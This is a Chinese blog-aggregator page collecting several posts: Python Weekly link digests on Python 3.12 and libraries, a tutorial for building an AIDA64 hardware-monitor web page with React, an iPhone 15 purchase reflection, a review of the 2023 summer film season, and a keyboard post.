这个仓库收录了一些 Python 小项目及其实现代码,跟本期周刊的第一则分享相似。(star 1K)
用于审查 SSH 的配置,支持 SSH1 和 SSH2 协议,支持 Linux 和 Windows,可识别安全漏洞、不安全密钥、不安全算法等,并给出安全建议。另外它也有在线版本 。(star 2.6K)

🐢播客&视频

Django Day 是一个专门围绕 Django 框架和 Django 社区的活动,目前视频列表中有 11 则视频。
Python 能够用于开发移动端应用么?能不能用 Python 实现端到端的移动应用开发?这期播客邀请了几个移动端 APP 的开发者聊了相关话题。

🐱赞助&支持

如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~
如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你想帮助周刊办得更好,欢迎向我们投稿或提出建议:投稿/建议通道
如果你是品牌方或广告主,欢迎私信我,洽谈赞助与合作事项。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

October 22, 2023 12:00 AM

October 12, 2023

pythoncat

Python 潮流周刊#22:Python 3.12.0 发布了!!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中一则分享,不代表全部内容都是该主题,特此声明。

🦄文章&教程

Python 最新大版本 3.12 发布了!包含许多新功能和优化,本期周刊有几篇文章涉及相关内容。(附:Python 3.12 新功能的详细介绍
Python 子解释器是什么?3.12 版本的 PEP-684 做了什么?3.13 版本可能会出现什么变化?
介绍了 Python 的栈帧基本知识、3.12 之前对于 trace 和 perf 的实现、以及 3.12 新引入的 Linux 原生 perf 的实现。
3.12 版本带来了一些调整和改进:使用类型变量来注释泛型类和函数、类型变量的新语法、使用新的 @override 装饰器作模型继承、用类型化的字典更精确注解 **kwargs。
依赖注入是一种强大的设计模式,FastAPI 中如何利用依赖注入来构建可维护的高性能 Web 应用?涉及内容:使用依赖注入管理配置、数据库访问和 ORM 的依赖注入、高级依赖注入技巧、测试依赖注入、性能优化和缓存的依赖注入、安全性和依赖注入等。
文章介绍了闭包的使用例子和使用原理,主要从虚拟机层面讨论函数闭包是如何实现的?
pexpect 可用于交互式应用的自动化,如 ssh、ftp、passwd、telnet 等,Github star 2.4K。文章介绍了它的 expect_list 方法的使用。
介绍了 textual-plotext 库的用法,它可以在终端里用 Plotext 绘图。
BBC R&D Cloudfit 团队的系列博客文章,Asyncio 系列已更新 5 篇,内容有基础概念及模式、异步上下文管理器和异步迭代器、库支持、混合异步和同步代码。
使用 eBPF 从内存结构中读取抽象堆栈数据,实现堆栈跟踪及代码执行分析。
文章介绍了 3.12 版本中不那么引入关注的改动:pathlib 库的改进、更好的调试体验、切片对象现在是可哈希的、意外出现的 math.sumprod()、新的命令行界面。
Python 版本的发布流程是怎样的?版本构建的过程有哪些可改进的地方?文章另外介绍了用软件物料清单 (SBOM) 来跟踪软件分发的子组件以及它们在版本之间的变化。
🎁Python潮流周刊🎁已免费发布了 22 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

一个非营利、无广告、免费的搜索引擎,专注于可用性和速度。目前仅是概念验证版本,索引的页面还比较少。(star 1K)
基于结构化数据进行企业级问答,允许设置一个 API,可用简单的英语回答问题。
一个使用语言模型 (LM) 和检索模型 (RM) 解决高级任务的框架。它统一了提示和微调 LM 的技术,以及推理、自我改进和使用检索和工具增强的方法。(star 3.5K)
一个用高级文本生成语音的库,使用 1100 中语言的预训练模型,可用于训练新模型和微调任何语言的现有模型。(star 20.3K)
用 Rust 编写的通用 Python 图形库,拥有高性能和安全性。
一个用于构建与 Apache Kafka、RabbitMQ 和 NATS 等事件流交互的异步服务框架,简化了为消息队列编写生产者和使用者的过程。
流行的异步 HTTP 框架,主要特点:支持客户端和服务端的 HTTP 协议、开箱即用的 Websocket、支持中间件和可插拔路由。(star 14K)
基于 Python 3.11 的 Web 框架,特点有面向文档的数据库 ODM、支持 Websocket、提供缓存 API、内置身份验证类、内置权限类、自定义中间件、可视化的 API 监控等。
未来有可能人人都可以轻松使用量子计算机么?Qiskit 项目的目标是这样。这个库是 Qiskit 的核心组件,包含用于创建和使用量子电路、量子算子和基元函数的构建块。(star 3.9K)
使用几行简单的配置就能创建复杂的仪表板,利用 Plotly 和 Dash 等库绘图。支持多种格式编写配置,包括 Pydantic 模型、JSON、YAML 或 Python 字典。(star 1.5K)
这是一个由大量机器学习模型、算法和工具组成的集合,专门用 NumPy 和 Python 标准库编写。(star 14K)
可解析 PDF 每个文本字符、矩形和线条的详细信息,支持提取表格和可视化调试。(star 4.6K)

🐢播客&视频

FreeCodeCamp 推出的一个 Mojo 入门学习视频,已接近 10 万播放量。
探讨 Python 3.12 中令人兴奋的新功能和改进,也讨论了即将发布的版本将删除的一些元素。

🐱赞助&支持

如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~
如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你想帮助周刊办得更好,欢迎向我们投稿或提出建议:投稿/建议通道
如果你是品牌方或广告主,欢迎私信我,洽谈赞助与合作事项。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

October 12, 2023 12:00 AM

October 06, 2023

2heng

基于 AIDA64 和现代 web 技术的电脑性能监控页

最近给电脑加了一块副屏,打算玩游戏的时候用来显示一下硬件状态。研究了一下发现大部分副屏监控的解决方案就是 HDMI/PD 连接电脑 + AIDA64 的状态监控页。AIDA64 的状态监控页有两种模式,一种是本地的 sensor panel,另一种是可以远程通过网页访问的 LCD,两种模式下的模板互不兼容,并且配置极其麻烦:基本上模板的分辨率是锁死的——别人的模板如果分辨率与自己显示器不一致很难调;如果从零开始自定义一个甚至得用 PS 切图,作为一名发者这自然是不能忍的。所以考虑调用 AIDA64 的 API、用自己熟悉的 web 框架来自定义一个便于开发和维护的监控页。

最终成果

效果展示

AIDA64 API

AIDA64 并没有提供现成的 Resty API,于是翻了一阵选项,发现一个外部程序(External Applications)选项,可以把监控数据写入共享内存、注册表以及 RTSS,RTSS 是提供了现成的 API,但是得用 C++ 代码调,我嫌麻烦,所以选择了写入注册表,之后在 HKEY_CURRENT_USER\Software\FinalWire\AIDA64\SensorValues 下面就能看到监控数据了。如此一来剩下的就很简单了,本地起一个服务,定时轮询注册表数据,然后通过 web socket 把实时数据推送给网页即可。

使用

网页开发用的是 React,唯一的难点可能就是监控页怎么设计吧,姑且按照自己的口味撸了一个 🙈

剩下的开发过程也没啥好赘述了,直接上代码和使用方法:

https://github.com/mashirozx/strix-monitor

国内加速镜像:

https://git.mashiro.top/mashiro/strix-monitor

环境要求

这个程序主要是面向有一定动手能力的用户,对技术的要求不高,但至少需要明白如何打开 Powershell 或者 CMD,如何运行命令,会使用 VSCode 简单修改一下代码。如果是纯小白,建议还是直接折腾 AIDA64 的面板吧~

电脑需要安装 Node.js,我用的版本是 18,理论上应该 14 以上都能用。建议安装 git,后续方便拉取更新。

AIDA64 配置

AIDA64 配置

如图所示配置,勾选将监控数据写入注册表并在下方勾选想要监控的项目,如果使用我的模板可以暂时全部勾上。

调整代码参数

AIDA64 各项传感器监控数据在不同硬件配置下会有所区别,这里我没有花精力去做自动适配,所以需要自行修改项目代码以适配各种硬件情况。

第一步 克隆项目

git clone https://github.com/mashirozx/strix-monitor.git
# 或者用国内加速镜像
git clone https://git.mashiro.top/mashiro/strix-monitor.git

也可以直接下载项目的 zip 文件。

第二步 安装依赖

我们使用 pnpm 作为包管理工具,请勿使用 npm 或者 yarn

# 安装 pnpm,npm 命令仅会在这里用一次
npm i -g pnpm

# 安装项目依赖
cd strix-monitor
pnpm i

第三步 启动 web socket 监控服务

pnpm wss

保持窗口打开,关闭窗口程序将退出。

第四步 同步 AIDA64 数据

pnpm update-aida64

这时你的 AIDA64 数据结构会被同步到 aida64.d.ts 文件中,内容类似下面:

declare type Aida64 = {
  SDATE: {
    label: 'Date';
    value: '2023/8/6';
  };
  SCPUCLK: {
    label: 'CPU Clock';
    value: '5500';
  };
  'SCC-1-1': {
    label: 'CPU Core #1 Clock';
    value: '5500';
  };
}

其中 SDATESCPUCLK'SCC-1-1' 是数据指标的 key,label 是对应维度的说明,value 是实时监控的值。注意这个文件只是用来定义数据结构类型,它的值并不需要实时更新。

第五步 根据自己的数据结构调整代码

用 VSCode 打开 themes\ThemeDigit\index.tsx 这时大概会看到 VSCode 显示很多错误提示,都是 data?.XXXX 下标着红色波浪线,这些就是你的电脑监控数据和我的监控数据不同的地方了,按照刚刚生成的 aida64.d.ts 文件,从中找到对应指标的 key,替换到 data?.XXXXXXXX 上,如果没错,下方的红色波浪线就会消失。

第六步 启动 dev server

pnpm start

这一步用来检查修改的代码是否正确,启动后在浏览器访问 http://localhost:3000 就能看到监控页了,如果有报错或者数据缺失,按提示继续修改代码。注意 FPS 一项需要启动 RTSS 服务,同时正在运行游戏才会显示数据,平时就是显示 N/A(RTSS 是啥?安装微星小飞机的时候一起安装的那个插件,也可以单独到这里下载);而如果其他项目显示 N/A 就可能是你的数据源配错了,请调整对应指标的 key。

第七步 启动正式服务

上一步确认展示内容正常后,关闭第三步和第六步中启动的那两个命令行窗口,然后运行:

pnpm build

然后在文件管理器中直接双击 run.bat 文件启动服务,这时就能通过 http://localhost:3000 访问正式的监控页了。以后每次开机都需要双击 run.bat 启动监控服务,你可以给它创建桌面快捷方式或者添加到开机启动项,注意启动服务之前需要先启动 AIDA64,可以把 AIDA64 的开机自动启动打开。

其他事项

正式服务包含两个程序:ws 服务 和 web 服务,run.bat 会同时启动两个服务,但你也可以分别启动:

# ws 服务
pnpm wss
# web 服务
pnpm start

ws 服务必须和 AIDA64 在同一台电脑上运行,因为要读取注册表。

后续开发

项目里面只有一个我自用的主题,如果你有开发能力,可以在 themes 下创建文件夹,编写自己的主题,然后在 app\page.tsx 里面引入自己的主题。

目前项目状态是个人自用,所以字段都是硬编码进去的,如果后面用的人多了可以考虑做成可以直接在前端动态配置的形式,然后用 Electron 或者 UWP 套一层壳,这样就算是小白应该也能用了。

The post 基于 AIDA64 和现代 web 技术的电脑性能监控页 appeared first on 樱花庄的白猫.

by Mashiro at October 06, 2023 03:48 AM

September 23, 2023

pythoncat

Python 潮流周刊#21:如何提升及测量 Python 代码的性能?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中三则分享,不代表全部内容都是该主题,特此声明。

🦄文章&教程

文章使用弗洛伊德-斯坦伯格抖动算法为例,使用各种技巧来提升代码性能,实现将耗时从 2339 微秒逐步降低到 554 微秒。涉及的一些概念:指令级并行 (ILP)、分支预测、单指令多数据(SIMD)、内存层次结构等。
一篇基础的入门教程,了解如何用 Radon 来衡量 Python 的代码复杂度,即计算圈复杂度等指标,介绍了相关命令的使用。
Brett Cannon 写了一系列关于“语法糖”的博客,解析了 80 多个语法糖特性。文章基于他在 PyCon 的演讲及博客,介绍了其中的部分内容。
SymPy 是一个用于符号计算(symbolic computation)的库,可以处理代数、微积分、离散数学等领域的问题。这是一个系列文章,介绍它将迎来的重大变化。文章描述了 SymPy 当前存在的速度问题、为加速它而作的工作、将来的提速计划。(附:系列第二篇:SymPy 多项式计算
在依赖关系治理方面,import-linter 是一个非常有用的工具。它通过提供各种类型的“契约”,让我们得以将项目内隐式的复杂依赖关系,通过配置文件显式的表达出来。文章介绍了它的入门使用,以及 6 种修复依赖关系的技巧。
CPython 在处理字符串时使用了布隆过滤器,比如 splitlines()、strip() 两个函数,文章介绍了它们的实现原理。文章还介绍了典型布隆过滤器的实现原理,以及 CPython 中布隆过滤器的实现(不到 50 行 C 代码)。
介绍了uuid 库的几个方法:uuid1() 利用系统 MAC 地址与时间戳生成 uuid;uuid4() 生成完全随机的 uuid;uuid3() 和 uuid5() 基于常量命名空间和变量名生成 uuid,前者使用 MD5 算法,后者使用 SHA-1 算法。
为什么会有 Pandas、Polars、Dask 和 PySpark 等大量的 Dataframe 库?作者认为主要的原因是它的四种角色模型:电子表格、关系数据库、二维数组/矩阵、对象,以及由此衍生出的一系列问题。
Monty Hall 问题也被称为三门问题,是一道挑战人们直觉的概率问题。文章使用 Python 来模拟这个问题,看看需要多久才能赢取奖品。
文章介绍了 functools 标准库的 6 个使用场景:@cache 缓存、@total_ordering 让你少写双下方法、partial() 冻结函数、@singledispatch 泛型函数、@wraps 装饰器、reduce() 函数。
pytest.main 是 Pytest 框架中一个非常实用的函数,用于从命令行运行测试集或者以编程方式运行测试。文章探讨了它的用法和一些常见的应用场景。
介绍了 7 个不错的身份验证库:Authlib、Pyjwt、Flask-login、Django-allauth、ItsDangerous、Python Social Auth、Flask-security。(附:中文翻译
🎁Python潮流周刊🎁已免费发布了 21 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

一个 Python 代码指标分析工具,可以计算圈复杂度、原始指标、Halstead 指标、可维护性指数,可用于 CI 集成,可与 Jupyter Notebook 一起使用。(star 1.5K)
自主语言代理(Autonomous Language Agents)指的是能够独立执行自然语言处理任务的智能代理系统。这个库支持长期短期记忆、工具使用、Web 导航、多 agent 通信、人机交互和符号控制等功能。(star 2.6K)
一个用于 Python 多进程的库,便于管理长时间运行的多进程作业。可处理进程创建和清理、信号管理、跨进程通信以及其它在处理多进程时的麻烦事。
可根据用户指定的参数生成逼真的模式和知识图谱,通过使用 DL 推理器(HermiT)来确保逻辑一致性。
这个仓库主要从多个维度比较了 toml、tomli/tomli_w、tomlkit、pytomlpp、rtoml 和 qtoml 这几个库,考察它们在处理数据时的行为表现以及性能。
提供一张图片,使用 Paint3D 分割前景对象,通过推理生成多个视角的图像。
Segment Anything(SAM)是在计算机视觉领域中对图像或视频中的任何对象进行分割的任务,以提取出具有语义或视觉特征的子区域或对象。
国人开源作品。可自动从非结构化的日志信息中提取出结构化的关键信息。(star 1.2K)
作者将 Python 版本的 llama2.py 移植成 Mojo 版本,将性能提高了近 250 倍。(star 1.1K)
一款领先的开源大模型应用开发平台,中文“毕昇”,可以搭建各类丰富的大模型应用:分析报告生成、知识库问答、对话、要素提取等。

🐢播客&视频

今年 EuroPython 活动的演讲视频。
Scalene 是一款高性能的 CPU、GPU 和内存分析器,可以从单个函数或代码行级别分析代码,并比较在 Python 和 C 代码中花费的时间。播客嘉宾是马萨诸塞大学教授,他与学校实验室的学生开发了 Scalene。

🐱赞助&支持

如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~
如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你想帮助周刊办得更好,欢迎向我们投稿或提出建议:投稿/建议通道
如果你是品牌方或广告主,欢迎私信我,洽谈赞助与合作事项。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

September 23, 2023 12:00 AM

September 17, 2023

yangpeiyuan

这次我选iPhone 15

最后一次买的手机还是 iPhone Xs Max,一月份摔到地上屏幕没碎但花屏了。花了 600 去电脑城随便换了个三方屏,正常使用了 5 个月自己嗝屁了。只好翻出旧的 iPhoneX 扛到出新机。平时不玩手游,只是刷刷新闻、rss 和常用的 app。通过这几个月的使用体感,发现 iPhoneX 使用过程中也并没有那么的差,自己好像对手机的性能也没像以前那样有要求了,也可能是没钱吧。

好像在 iPhone 11 以前选手机只要关注屏幕和容量的大小即可。这几年大家遇到的数字版和 pro 的纠结完美避过了。因为是 Apple 设备全家桶用户,所以手机也只能继续选 iPhone,不过这次 iPhone15 的新机型选择也没有很纠结。

A17 Pro CPU

通过这几个月用 iPhoneX,让我非常清楚性能适合自己最重要。看看自己平时的实际使用场景,用这款新 CPU 都发挥不出来它的优势。看新闻说这次 CPU 只比前代提升 20%,主要提升点是 GPU 的性能。

钛金属边框

之前都是不戴壳不贴膜,我手汗还比较重。正常使用个 3 ~ 4 年好像边框也就是正常使用的痕迹。重量嘛以前不在意,所以每次都是选大屏。有了宝宝之后出门带的东西多了,希望越轻越好。

Action Button

之前锁屏界面的相机和手电筒的快捷键都很少用。和系统应用进行快捷交互的场景不多。反而是常用 app 都是通过负一屏的 widget 来进行快捷访问。

屏幕高刷

在 iPhoneX 和 iPad Pro 之间经常切换使用,并没有刷新率高低带来的不适感。

相机镜头

最近 2 年我最喜欢的照片竟然是我偶然间用备用机 Google Pixel 3 拍的。平时哪怕我用富士相机也没有我老婆随手用手机拍的好看。日常记录对手机镜头的要求很低很低。

我理想中的升级 Feature:真正的全面屏、大功率快充、更大的运存。这些本次都没有。所以果断选择 iPhone 15 标准版了。作为数码爱好者这次选择这么冷静不追求顶配版。也不知道以后会不会又少了一个爱好。

纪念下自己 iPhoneX

widget

screen1

screen2

by yangpeiyuan (i@yangpeiyuan.com) at September 17, 2023 02:39 PM

September 16, 2023

pythoncat

Python 潮流周刊#20:三种基准测试的方法、为什么代码在函数中运行得更快?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中两则分享,不代表全部内容都是该主题,特此声明。

🦄文章&教程

文章介绍了使用标准库对 Python 作基准测试的几种方法:time、timeit、cProfile 与 profile,详细介绍了几个工具的使用方法及测试数据的解读。
作者“移情别恋”了 Hatch,开始在项目中使用它。文章介绍了他喜欢 Hatch 的一些小亮点:环境隔离、命令脚本、可替代 Tox、可选的依赖项等。(附:Python 任务自动化工具 tox 教程
TOML 是“改进的” INI 文件,是 Python 推荐的配置文件格式。文章提到,连 TOML 的作者也认为它是一种糟糕的格式!文章指出了它的问题:非常冗长、层次结构很难仅从语法推断、像 YAML 一样过于复杂、具有语法类型。
遗传算法(Genetic Algorithm)是一种受生物进化理论启发的优化算法,用于解决复杂的搜索和优化问题。文章用 Python 演示了这种算法的使用例子。
Protocol 类是 Python 3.8 版本中引入的,用于指定一个类应该实现哪些方法,与 Java 的 Interface 相似。在保持 Python 动态类型用法的情况,使用 Protocal 可以获得部分静态类型检查的效果。
Tornado 是一个高性能的 Web 框架,文章解读它的源码,主要想搞清楚:yield 暂存的状态到哪去了、重新恢复执行的“合适的时机”到底是什么、具体是怎么恢复执行的?
文章基于 PEP-101 梳理了 CPython 的发布过程,绘制出了详细的流程图并给出关键步骤的解释。
Apple 的 Vision 框架提供了一系列预训练的模型和 API,可快速在应用中添加图像分析和计算机视觉功能。PyObjC 可实现 Python 与 Objective-C 的交互。文章将它们结合,开发了一个文本处理项目。
作者使用 py-spy 定位一个 CPU 100% 占用问题,找出了罪魁祸首的正则表达式,进而探讨灾难性回溯及其解决方法,并给出了优化性能的建议写法。
一篇详细的 Django 项目教程,实现一个全栈的项目。文中有作者的教程视频。
利用 asyncio 和 SqlAlchemy 库,文章探讨了如何有效地连接和管理多个数据库,获得可扩展且具有弹性的架构。文章介绍了两种实现方法。
Fire 是谷歌开源的一个用于生成 CLI 的库,Github 25K star。这篇文章介绍了它的一般命令、组合命令、链式命令、复杂命令等用法。
文章介绍了 Python 中的一些小技巧,从初级到高级,多数与数据结构相关,在解 LeetCode 问题时很有用。
Python 代码分别在函数和全局模块中运行,哪个更快呢?为什么是在函数中更快呢?Python 代码执行的工作原理是什么?如何测试与优化 Python 函数的性能?
🎁Python潮流周刊🎁已免费发布了 20 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

一个 Python 项目管理工具,有标准化构建系统、强大的环境管理、轻松发布到 PyPI、版本管理、响应式 CLI、比 pipenv 和 poetry 同类工具快约 2-3 倍。(star 4.4K)
可以将所有告警整合到一个管理平台中,并编排工作流以自动化执行端到端的流程。支持对接多种数据采集平台、数据库、办公软件等,可视化编排告警处理工作流。(star 2.2K)
一个神奇的网站!包含 PyPI 的各类统计数据、曲线图和饼图,例如文件总数、总大小、一些功能特性的流行趋势等等。
用于解析 YAML 的受限子集,拒绝解析丑陋的、难以阅读和不安全的 YAML 特性,有严格的标记验证和直接的类型转换,可替代 pyyaml、ruamel.yaml 和 poyo,有清晰可读的异常信息。(star 1.3K)
最新开源的一个人像换脸库,star 涨得飞快!(star 6.9K)
包含一系列的小工具,功能包含用于命令行的 py、用于 IPython 的自动导入、添加缺失的 import、删除不用的 import、格式化 import、打印一组文件的 import、重命名导入,等等。
可以提取复杂信息中的实体,生成它们的关系图谱。使用了 GPT-3.5,以及 Flask 来生成色彩友好的图例;响应式设计,可在任何设备上使用。
Textual 开发的 app 发布到网页上,也可以在浏览器中使用命令行终端。是个很有意思的项目。
一个开发框架,可打包用 Zig 编写的 Python 扩展模块,还包含一个 Pytest 插件可发现与运行 Zig 测试。集成了 Poetry,方便构建 wheel 和发布。支持缓冲区协议,可以实现零拷贝提升 Numpy 计算。
一个开源的多任务代码大语言模型项目,包含代码大模型的模型、数据、训练等。在 HumanEval Benchmarks 的 Python Pass@1 取得了 74.4% 的开源 SOTA 成绩,超过 GPT-4。

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

September 16, 2023 12:00 AM

September 12, 2023

anji66

热闹的电影暑期档

2023年的夏天炽热难耐,2023年的暑期电影档也是热力四射,带着孩子影院纳凉,动画片、故事片一个也别落下。近几年国产电影大幅崛起,从爱国题材到主旋律电影,从故事片到国产动画,物质生活的丰富,更加催生了人民对精神文化的追求,国力的强盛也让文化自信更加充盈,那些曾一统院线的欧美大片渐渐没了观众,而国产片也终于突出重围,今年夏天这个暑期档更是好戏连台。

IMG_20230903_151333.jpg


国漫的崛起

印象中从《西游记之大圣归来》开始,国漫电影在传统IP上闯出了一番别样天地,后有《哪吒之魔童降世》、《白蛇:缘起》,国产动画电影逐渐从剪纸、皮影效果过渡到3D动画、动作捕捉上。今年的暑期档一部《长安三万里》将盛唐繁华演绎进了动画片中,从诗仙李白起伏的人生角度入手,以边塞诗人高适的娓娓叙述,道尽了大唐盛极而衰的落寞。

电影中那些耳熟能详的的诗词,曾经何尝不是我们的青春,一曲《将进酒》将整个故事带入高潮,人生得意须尽欢,莫使金樽空对月。又何尝不该照进现实。


越来越会讲故事

2019年发生在泰国,主角是两个中国人的惊天大案震惊了很多人,丈夫为了夺取妻子的钱财用于赌博痛下杀手,将孕妻推下悬崖,很难想象现实世界会有如此疯狂的罪恶。多年后一部取材于泰国坠崖案,剧情改编自前苏联电影《为单身汉设下的陷阱》的国产悬疑故事片《消失的她》热映。电影经过一众女士的口碑传播,票房直上30亿,电影剧情经过反转、反转再反转,剥洋葱似的慢慢的拨开了李木子血淋淋的悲剧。在暑期带给观众对婚姻和枕边人的长久探讨。

说到赌博,那可是万恶之首,千夫所指。有一部现象级电影《孤注一掷》,其中女主角的被骗到缅北从事荷官的工作,利用美貌和诱饵坑骗国内一众好赌分子和自以为是的家伙。电影《孤注一掷》三条故事线:潘生(python)的职场失意被骗,梁安娜的高薪梦想主动被骗,顾天之的自以为是的被骗,一个极力反抗的自我救赎,一个锒铛入狱,一个千金散尽付出生命(玉碎瓦全,大概是没死)。这些艺术上的加工远比那些经历过缅北诈骗现实来的轻松了一些,但就是这加工后的剧情还是那么骇世惊闻,也许我们都太过信任于自己,那种盲目的且自大的自信。就像电影中的描述的:反诈宣传都印到鸡蛋上了,自信不会被骗的人依然视而不见。


真诚才是必杀技

还记得《盲井》中的元凤鸣,《天下无贼》中的傻根,《集结号》中的姜茂财,那个出演故事片演技至臻的王宝强,到后来在喜剧路上一路狂奔到停不下来,《人在囧途》囧系列,《唐人街探案》探系列,似乎他自己也只记住了自己是个喜剧演员,自导自演《大闹天竺》,票房口碑双扑街,还有他那“大闹”系列的婚姻短剧,毫无意外,忘乎所以必然折戟沉沙。当年金扫帚奖颁给了《大闹天竺》,大概从那时起,王宝强才再次重新认识了一次电影。六年磨一剑,《八角笼中》改编于真实故事的电影上映了,中年失意的向腾辉带着一群无助的孩子突出重围。现实中,中年失意的王宝强带着自己“孩子”《八角笼中》在这个热闹的暑期档突出了重围。就像网友通过王宝强的四件事(放弃拍摄参加维和教官的葬礼、亲自去领了金扫帚奖、没被前妻和经纪人挖出黑料、借钱纳税)对他做出的评价:真诚才是必杀技。


电影工业化的大制作

要说前面几部电影在服化道上面都是“小制作”,那么扛起电影工业“大制作”大旗的无疑是这部《封神》三部曲。封神纪录片全景展示了这部电影服化道的制作过程和技艺。无论是四方五行的传统文化,还是动作捕捉动画特效,从海选演员封闭培训到100多位木雕师傅的精雕细琢,从影棚实景搭建到六艺骑射学用相合。精良的制作,恢弘的场景,历久弥新的神话背景,每个人心中都有一部封神榜。尽管那些经不起深扒的过往和崩塌的世界观重合在电影中,或许在导演乌尔善的心中封神榜就是如此。


外来的和尚不一定会念经

《变形金刚》大概只剩下情怀了,没有出彩的打斗,一如从前的与人类并肩剧情,到这部《超能勇士崛起》只是将动画中的猛兽侠搬上荧幕,为了电影而电影。即便拉胯的剧情,第一部好歹还有惊艳的梅根福克斯,这部人类女主角,阿西吧!不知道等到80、90后这一代老了,这情怀还能卖给谁?

这些年好莱坞工业在国内逐渐不畅销了,反倒是迪斯尼的动画片一部接着一部的大火。今年暑期档同样有一部迪斯尼电影《疯狂元素城》,号称东亚移民版的《疯狂动物城》,口碑一般,有《疯狂动物城》珠玉在前,这就算了吧。


网络大电影的突围

除了上述院线电影之外,这个暑期档还有不错的网络电影,比如谢苗主演《东北警察故事1、2》、任达华主演《零号追杀》、《红色特工》。随着网标的诞生,出生在网络上的电影从龙标中脱离出来,获得了一副名正言顺的身份。也诞生了类似谢苗这样主攻网络电影的演员和创作者,显而易见制度枷锁的解除造就了另一个层面的繁荣,什么时候中国电影能诞生分类分级的制度,到那时候凛冬将过,春花不远。


暑期档的尾声

又到一年开学季,今年上小学的孩子基本都是出生于2016和2017年中国近20年来生育最高峰的一代人,学位资源、校师资源在代孩子身上都异常紧张,用捉襟见肘丝毫不为过。一部《学爸》写实电影将“卷”这个网络热词搬上荧幕,那些为娃奔走的可怜的中国父母,在一轮又一轮的资源争夺战中耗尽家财,疲于奔跑。就像电影台词中说的:别人都在跑,我不敢停。大概这就是这辈父母卷又卷不动,躺又躺不平的真实心理写照。很无奈,我正是一位2016年出生孩子的父亲。

8月的最后,一部网络短剧刷爆了各大短视频平台,它叫《逃出大英博物馆》,看看吧,那 只 盏中华缠枝纹薄胎玉壶,那些流失到海外的中华文物,UP主很有心,拍的很棒。


参观上海电影博物馆

暑假带着孩子在市内到处转转,一来是给学校发的上海市中小学生社会实践基地“家庭护照”打卡,二是带她了解一下“世界”消磨时间增长见识。正好暑期带她看了几部动画电影,那我们就去看看电影是如何制作出来的吧,于是我们就去了坐落于于上海电影制片厂内的上海电影博物馆。虽然只是走马观花般的看了电影的起源,电影摄制设备,点播了国内外经典电影片段,但希望小小的电影种子能在娃儿心里开出一朵大大的花。

IMG_20230730_113516.jpg


by 西枫里 at September 12, 2023 02:22 AM

September 09, 2023

yangpeiyuan

KBtalking race II 和华为高键程CD34键盘

KBtalking Race II 青轴键盘

解决 macOS 下休眠后键盘无法唤醒系统的问题。

最近翻出了早些年买的 race II 来用,发现在 macOS 下休眠后键盘无法唤醒系统。由于这个键盘太古早了搜索都只出现少量的结果,把最终找到的解决方案记录下(参考了 v2ex 的帖子)。

  • 下载固件和刷机工具:race2 macOS 用固件
  • 在 Windows 下运行刷机工具 USB_FD.exe ,并选择下载的 L2217V14 固件
  • 重新连接到 macOS 上,问题已解决。

用了几天后发现在家用青轴键盘简直就是找抽。然后就是下面的蓝牙薄膜键盘推荐了。

华为高键程智能键盘 CD34

看到少数派的编辑推荐的捡漏键盘,刚好适合我目前在家无法使用青轴的场景。APPLE magic keyboard 平替。键盘官方网站

宣传图片

20230719cd34-keyboard-华为 CD34 键盘

和触摸板尺寸一致 华为 CD34 键盘

和 iPad 搭配也不错 华为 CD34 键盘

  • 布局和尺寸:用了这两年比较流行的 84 键布局,大致就是比 Magic Keyboard 右侧多了一列光标操作键,挺实用也没增加多少长度;重量比 Magic Keyboard 多大概一百克,厚了两三毫米,可以接受;短边基本一样长,这对于节省桌面空间很有好处;有物理开关可以切换 Windows 和 macOS 键位。
  • 材质和设计:上盖和 Magic Keyboard 一样是金属的,在低价位 OEM 键盘里比较难得,质感马上就上去了;设计很克制,除了右 Shift 键多印了一个华为自家设备的接触式配对图标,没有任何多余的品牌露出。
  • 号称有 2.5mm 的「高键程」。我不看重这个参数、也不指望键程高点就能追上机械键盘的手感,但毕竟有益无害。
  • 电池给了一个犯规的 2200 毫安时,号称能用一年。再看定价,电商平台上的新品普遍在 250 元左右,本身已经可以接受。但让我们礼节性地

去海鲜市场探探风…… 果然,有很多「仅拆封」的国际版,标准美式布局要价 160—180 不等。FWIW,很多详情页一堆错别字的杂牌键盘都卖到这个钱了;那不找了就你了。(有的渠道卖的是欧洲键盘布局,虽然更便宜,但没有必要添这个麻烦,如果感兴趣注意不要买错。)

